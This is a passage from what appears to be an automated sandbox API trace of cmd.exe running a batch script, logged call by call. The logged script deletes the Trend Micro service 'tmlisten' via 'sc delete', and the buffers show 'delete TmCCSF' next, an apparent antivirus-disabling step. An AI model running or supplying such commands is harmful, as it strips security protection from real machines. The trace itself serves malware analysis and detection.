lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.844] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e324, cchWideChar=1 | out: lpWideCharStr=" delete TmCCSF\n\nanService\ne\n\n\nA\"\n") returned 1 [0073.844] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.844] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.844] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.844] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e326, cchWideChar=1 | out: lpWideCharStr="delete TmCCSF\n\nanService\ne\n\n\nA\"\n") returned 1 [0073.844] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.844] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.844] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.844] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e328, cchWideChar=1 | out: lpWideCharStr="elete TmCCSF\n\nanService\ne\n\n\nA\"\n") returned 1 [0073.844] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.844] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.845] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.845] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32a, cchWideChar=1 | out: lpWideCharStr="lete TmCCSF\n\nanService\ne\n\n\nA\"\n") returned 1 [0073.845] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.845] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.845] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.845] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32c, cchWideChar=1 | out: lpWideCharStr="ete TmCCSF\n\nanService\ne\n\n\nA\"\n") returned 1 [0073.845] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.845] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.845] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.845] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32e, cchWideChar=1 | out: lpWideCharStr="te TmCCSF\n\nanService\ne\n\n\nA\"\n") returned 1 [0073.845] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.845] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.845] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.845] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e330, cchWideChar=1 | out: lpWideCharStr="e TmCCSF\n\nanService\ne\n\n\nA\"\n") returned 1 [0073.845] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.845] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.845] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.845] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e332, cchWideChar=1 | out: lpWideCharStr=" TmCCSF\n\nanService\ne\n\n\nA\"\n") returned 1 [0073.845] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.845] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.845] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.845] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e334, cchWideChar=1 | out: lpWideCharStr="tmCCSF\n\nanService\ne\n\n\nA\"\n") returned 1 [0073.845] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.845] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.846] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.846] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e336, cchWideChar=1 | out: lpWideCharStr="mCCSF\n\nanService\ne\n\n\nA\"\n") returned 1 [0073.846] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.846] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.846] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.846] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e338, cchWideChar=1 | out: lpWideCharStr="lCSF\n\nanService\ne\n\n\nA\"\n") returned 1 [0073.846] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.846] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.846] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.846] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33a, cchWideChar=1 | out: lpWideCharStr="iSF\n\nanService\ne\n\n\nA\"\n") returned 1 [0073.846] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.846] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.846] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.846] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33c, cchWideChar=1 | out: lpWideCharStr="sF\n\nanService\ne\n\n\nA\"\n") returned 1 [0073.846] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.846] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.846] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.846] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33e, cchWideChar=1 | out: lpWideCharStr="t\n\nanService\ne\n\n\nA\"\n") returned 1 [0073.846] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.847] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.847] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.847] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e340, cchWideChar=1 | out: lpWideCharStr="e\nanService\ne\n\n\nA\"\n") returned 1 [0073.847] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.847] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.847] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.847] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e342, cchWideChar=1 | out: lpWideCharStr="nanService\ne\n\n\nA\"\n") returned 1 [0073.847] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.847] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.847] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.847] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e344, cchWideChar=1 | out: lpWideCharStr="\nnService\ne\n\n\nA\"\n") returned 1 [0073.847] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.847] GetFileType (hFile=0xb8) returned 0x3 [0073.847] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.847] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.847] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.847] GetFileType (hFile=0x120) returned 0x3 [0073.847] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.847] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete tmlisten\n", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete tmlisten\n", lpUsedDefaultChar=0x0) returned 20 [0073.847] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x13, lpNumberOfBytesWritten=0x2cf418, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf418*=0x13, lpOverlapped=0x0) returned 1 [0073.847] GetProcessHeap () returned 0x4a0000 [0073.847] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4012) returned 0x4e8630 [0073.847] GetProcessHeap () returned 0x4a0000 [0073.847] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4e8630 | out: hHeap=0x4a0000) returned 1 [0073.848] GetProcessHeap () returned 0x4a0000 [0073.848] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0) returned 0x4c4660 [0073.848] GetProcessHeap () returned 0x4a0000 [0073.848] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x16) returned 0x4b89b0 [0073.848] GetProcessHeap () returned 0x4a0000 [0073.848] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x32) returned 0x4b6510 [0073.848] GetConsoleOutputCP () returned 0x1b5 [0073.848] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a07bfe0 | out: lpCPInfo=0x4a07bfe0) returned 1 [0073.848] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0073.848] GetConsoleTitleW (in: lpConsoleTitle=0x2cf3d0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0073.848] GetProcessHeap () returned 0x4a0000 [0073.848] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x218) returned 0x4b9910 [0073.848] GetProcessHeap () returned 0x4a0000 [0073.848] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x38) returned 0x4b6550 [0073.848] GetProcessHeap () returned 0x4a0000 [0073.848] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x420) returned 0x4bba10 [0073.848] SetErrorMode (uMode=0x0) returned 0x1 [0073.848] SetErrorMode (uMode=0x1) returned 0x0 [0073.849] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x4bba20, lpFilePart=0x2cec60 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x2cec60*="Desktop") returned 0x25 [0073.849] SetErrorMode (uMode=0x1) returned 0x1 [0073.849] GetProcessHeap () returned 0x4a0000 [0073.849] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4bba10, Size=0x62) returned 0x4bba10 [0073.849] GetProcessHeap () returned 0x4a0000 [0073.849] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4bba10) returned 0x62 [0073.849] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0073.849] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0073.849] GetProcessHeap () returned 0x4a0000 [0073.849] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x128) returned 0x4b5b70 [0073.849] GetProcessHeap () returned 0x4a0000 [0073.849] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x240) returned 0x4a1ab0 [0073.849] GetProcessHeap () returned 0x4a0000 [0073.849] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4a1ab0, Size=0x12a) returned 0x4a1ab0 [0073.849] GetProcessHeap () returned 0x4a0000 [0073.849] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4a1ab0) returned 0x12a [0073.849] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0073.849] GetProcessHeap () returned 0x4a0000 [0073.849] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xe8) returned 0x4b9b30 [0073.849] GetProcessHeap () returned 0x4a0000 [0073.849] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b9b30, Size=0x7e) returned 0x4b9b30 [0073.849] GetProcessHeap () returned 0x4a0000 [0073.849] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4b9b30) returned 0x7e [0073.849] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0073.849] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0073.850] GetLastError () returned 0x2 [0073.850] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0073.850] GetLastError () returned 0x2 [0073.850] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0073.850] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0x4b9bc0 [0073.850] FindClose (in: hFindFile=0x4b9bc0 | out: hFindFile=0x4b9bc0) returned 1 [0073.850] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0073.850] GetLastError () returned 0x2 [0073.851] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0x4b9bc0 [0073.851] FindClose (in: hFindFile=0x4b9bc0 | out: hFindFile=0x4b9bc0) returned 1 [0073.851] GetConsoleTitleW (in: lpConsoleTitle=0x2cef20, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0073.851] GetProcessHeap () returned 0x4a0000 [0073.851] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x21c) returned 0x4b9180 [0073.851] GetConsoleTitleW (in: lpConsoleTitle=0x4b9190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0073.851] GetProcessHeap () returned 0x4a0000 [0073.851] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b9180, Size=0x9e) returned 0x4b9180 [0073.851] GetProcessHeap () returned 0x4a0000 [0073.851] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4b9180) returned 0x9e [0073.851] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete tmlisten") returned 1 [0073.852] GetProcessHeap () returned 0x4a0000 [0073.852] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9180 | out: hHeap=0x4a0000) returned 1 [0073.852] InitializeProcThreadAttributeList (in: lpAttributeList=0x2cecd8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x2cec98 | out: lpAttributeList=0x2cecd8, lpSize=0x2cec98) returned 1 [0073.852] UpdateProcThreadAttribute (in: lpAttributeList=0x2cecd8, dwFlags=0x0, Attribute=0x60001, lpValue=0x2cec88, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x2cecd8, lpPreviousValue=0x0) returned 1 [0073.852] GetStartupInfoW (in: lpStartupInfo=0x2cedf0 | out: lpStartupInfo=0x2cedf0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0073.852] GetProcessHeap () returned 0x4a0000 [0073.852] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x20) returned 0x4b4610 [0073.852] GetProcessHeap () returned 0x4a0000 [0073.852] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b4610 | out: hHeap=0x4a0000) returned 1 [0073.852] GetProcessHeap () returned 0x4a0000 [0073.852] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x12) returned 0x4b89d0 [0073.852] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete tmlisten", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x2ced10*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete tmlisten", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x2cecc0 | out: lpCommandLine="sc delete tmlisten", lpProcessInformation=0x2cecc0*(hProcess=0x54, hThread=0x50, dwProcessId=0x570, dwThreadId=0xa14)) returned 1 [0073.856] CloseHandle (hObject=0x50) returned 1 [0073.856] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0073.856] GetProcessHeap () returned 0x4a0000 [0073.856] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c1b10 | out: hHeap=0x4a0000) returned 1 [0073.856] GetEnvironmentStringsW () returned 0x4c1b10* [0073.856] GetProcessHeap () returned 0x4a0000 [0073.856] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba90 [0073.856] FreeEnvironmentStringsW (penv=0x4c1b10) returned 1 [0073.856] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x2ce5c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2ce5c8, ReturnLength=0x0) returned 0x0 [0073.856] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffdf000, lpBuffer=0x2ce600, nSize=0x380, lpNumberOfBytesRead=0x2ce5c0 | out: lpBuffer=0x2ce600*, lpNumberOfBytesRead=0x2ce5c0*=0x380) returned 1 [0073.856] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0073.911] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x2cec08 | out: lpExitCode=0x2cec08*=0x424) returned 1 [0073.911] CloseHandle (hObject=0x54) returned 1 [0073.911] _vsnwprintf (in: _Buffer=0x2cee78, _BufferCount=0x13, _Format="%08X", _ArgList=0x2cec18 | out: _Buffer="00000424") returned 8 [0073.911] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0073.911] GetProcessHeap () returned 0x4a0000 [0073.911] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba90 | out: hHeap=0x4a0000) returned 1 [0073.911] GetEnvironmentStringsW () returned 0x4c1b10* [0073.911] GetProcessHeap () returned 0x4a0000 [0073.911] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba90 [0073.911] FreeEnvironmentStringsW (penv=0x4c1b10) returned 1 [0073.911] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0073.911] GetProcessHeap () returned 0x4a0000 [0073.911] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba90 | out: hHeap=0x4a0000) returned 1 [0073.911] GetEnvironmentStringsW () returned 0x4c1b10* [0073.911] GetProcessHeap () returned 0x4a0000 [0073.911] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba90 [0073.911] FreeEnvironmentStringsW (penv=0x4c1b10) returned 1 [0073.911] GetProcessHeap () returned 0x4a0000 [0073.911] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b89d0 | out: hHeap=0x4a0000) returned 1 [0073.912] DeleteProcThreadAttributeList (in: lpAttributeList=0x2cecd8 | out: lpAttributeList=0x2cecd8) [0073.912] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0073.912] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.912] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0073.912] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.912] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x4a06e194 | out: lpMode=0x4a06e194) returned 0 [0073.913] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.913] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a06e198 | out: lpMode=0x4a06e198) returned 0 [0073.913] GetConsoleOutputCP () returned 0x1b5 [0073.913] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a07bfe0 | out: lpCPInfo=0x4a07bfe0) returned 1 [0073.913] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0073.913] GetProcessHeap () returned 0x4a0000 [0073.913] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9b30 | out: hHeap=0x4a0000) returned 1 [0073.913] GetProcessHeap () returned 0x4a0000 [0073.913] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4a1ab0 | out: hHeap=0x4a0000) returned 1 [0073.913] GetProcessHeap () returned 0x4a0000 [0073.913] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b5b70 | out: hHeap=0x4a0000) returned 1 [0073.913] GetProcessHeap () returned 0x4a0000 [0073.913] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba10 | out: hHeap=0x4a0000) returned 1 [0073.913] GetProcessHeap () returned 0x4a0000 [0073.913] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b6550 | out: hHeap=0x4a0000) returned 1 [0073.913] GetProcessHeap () returned 0x4a0000 [0073.913] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9910 | out: hHeap=0x4a0000) returned 1 [0073.913] GetProcessHeap () returned 0x4a0000 [0073.913] HeapFree 